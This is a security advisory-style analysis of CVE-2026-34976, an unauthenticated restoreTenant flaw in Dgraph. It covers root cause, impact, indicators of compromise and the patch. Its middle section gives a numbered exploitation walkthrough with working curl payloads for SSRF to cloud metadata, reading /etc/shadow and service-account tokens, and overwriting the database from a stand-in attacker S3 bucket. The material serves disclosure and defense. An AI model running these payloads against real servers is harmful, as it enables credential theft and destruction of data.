CVE-2026-34976: 
NixOS vulnerability analysis and mitigation

CVE-2026-34976 is a critical missing authorization vulnerability in Dgraph, an open-source distributed GraphQL database, affecting the restoreTenant admin mutation. The flaw allows completely unauthenticated remote attackers to overwrite the entire database, read server-side files, and perform Server-Side Request Forgery (SSRF). It affects all Dgraph versions up to and including v25.3.0 (including v1.x and v24.x branches), and was disclosed on April 2, 2026, with a patch released the same day. It carries a CVSS v3.1 base score of 10.0 (Critical) (Github Advisory, Dgraph Security Advisory).

The root cause is CWE-862 (Missing Authorization): the restoreTenant admin mutation was omitted from the adminMutationMWConfig map in graphql/admin/admin.go (lines 499–522). When the middleware resolver looks up this mutation at resolve/resolver.go:431, it receives nil; the Then() method at resolve/middlewares.go:98 detects an empty middleware chain and returns the resolver directly, bypassing all authentication, IP whitelisting, and audit logging. In contrast, the similar restore mutation correctly requires Guardian-of-Galaxy authentication. Because restoreTenant accepts attacker-controlled parameters — including backup source URLs (s3://, file://), S3/MinIO credentials, encryption key file paths (encryptionKeyFile), and Vault credential file paths (vaultRoleIDFile, vaultSecretIDFile, vaultAddr) — an unauthenticated network attacker can supply malicious values to trigger database overwrites, local filesystem reads, and SSRF against internal services (Dgraph Security Advisory, Github Advisory).

Successful exploitation gives an unauthenticated attacker complete control over the Dgraph instance: they can overwrite an entire namespace's database with attacker-controlled data (full integrity loss), read arbitrary server-side files including /etc/shadow, Kubernetes service account tokens, and Vault credential files (full confidentiality loss), and destroy or drain the database (full availability loss). The changed scope means the impact extends beyond the Dgraph process itself to the underlying filesystem, internal network services (via SSRF to cloud metadata endpoints such as 169.254.169.254), and secrets management infrastructure such as HashiCorp Vault. In cloud or Kubernetes environments, SSRF can enable lateral movement to internal services and credential theft (Dgraph Security Advisory, Github Advisory).

Proof-of-concept exploit code consisting of multiple concrete curl-based GraphQL mutation payloads is publicly available in the official security advisory, confirmed with high confidence by Feedly threat intelligence (Dgraph Security Advisory). The vulnerability requires no authentication, no user interaction, and no special preconditions beyond network access to the Dgraph admin port (default 8080). As of the time of disclosure, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.174% (39th percentile), and the vulnerability is not currently listed in the CISA KEV catalog. Qualys has added detection for this vulnerability (Github Advisory).

1. Reconnaissance: Identify internet-facing or internally accessible Dgraph Alpha instances (default admin port 8080) using network scanners (e.g., Shodan, Censys, nmap) targeting Dgraph versions ≤ 25.3.0.

2. Confirm vulnerability: Send a test restoreTenant mutation with a non-existent file:// path and observe the error message. A response of "The uri path doesn't exists" confirms the endpoint is reachable and unauthenticated; a response of "No backups with the specified backup ID" confirms the path exists and was scanned.

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent/\" }, fromNamespace: 0 }) { code message } }"}'

3. Filesystem enumeration (file read/SSRF): Use file:// URIs to probe the server filesystem and enumerate sensitive paths:

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"}'

4. Cloud metadata SSRF: Target the cloud instance metadata endpoint to steal credentials:

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"}'

5. Vault SSRF and sensitive file read: Supply internal Vault addresses and sensitive file paths to exfiltrate Kubernetes service account tokens and /etc/shadow:

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", vaultAddr: \"http://internal-vault:8200\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"}'

6. Database overwrite: Host a crafted Dgraph backup on a public S3 bucket and trigger a restore to overwrite the target namespace's entire database:

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true }, fromNamespace: 0 }) { code message } }"}'
# Expected response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}

(Dgraph Security Advisory)

• Network: Unexpected HTTP POST requests to http://<dgraph-host>:8080/admin containing the string restoreTenant in the request body, especially from external or untrusted IP addresses; outbound connections from the Dgraph process to external S3 endpoints, cloud metadata IPs (e.g., 169.254.169.254), or internal services not normally accessed by Dgraph.
• Logs: Dgraph admin access logs showing restoreTenant mutations without any authentication headers (X-Dgraph-AuthToken, Authorization); error messages such as "No backups with the specified backup ID" or "The uri path doesn't exists" in response to file:// URIs, indicating filesystem probing; log entries showing restore operations initiated from unexpected S3 bucket locations.
• File System: Unexpected changes to Dgraph data directories consistent with a database restore/overwrite; access timestamps updated on sensitive files such as /etc/shadow, /etc/passwd, or Kubernetes service account token files (/var/run/secrets/kubernetes.io/serviceaccount/token).
• Process: Dgraph Alpha process making outbound network connections to unusual endpoints (cloud metadata services, internal Vault instances, attacker-controlled S3 buckets) that are not part of normal operational traffic. (Dgraph Security Advisory)

The vulnerability is fixed in Dgraph v25.3.1, released April 1, 2026, via commit b15c87e, which adds "restoreTenant": gogMutMWs to the adminMutationMWConfig map in graphql/admin/admin.go, enforcing Guardian-of-Galaxy authentication, IP whitelisting, and audit logging on the mutation (Dgraph Release v25.3.1, Fix Commit). Users on v1.x and v24.x branches should upgrade to v25.3.1 as no backport patches are listed. As an immediate workaround for those unable to patch, restrict network access to the Dgraph admin interface (port 8080) using firewall rules or network segmentation, allowing only trusted IP addresses to reach the admin endpoint (Github Advisory).

The vulnerability received notable coverage from security news outlets including GBHackers, CyberPress, CyberSecurityNews, The Hacker News (weekly recap), and TLDR InfoSec, highlighting the critical CVSS 10.0 score and the ease of unauthenticated exploitation (GBHackers, The Hacker News). The Hacker Wire published a dedicated technical write-up on the restoreTenant authentication bypass (The Hacker Wire). Community discussion was observed on Mastodon and Bluesky, and the vulnerability was included in security digests and vulnerability roundups for April 2026. The advisory was credited to researcher kodareef5.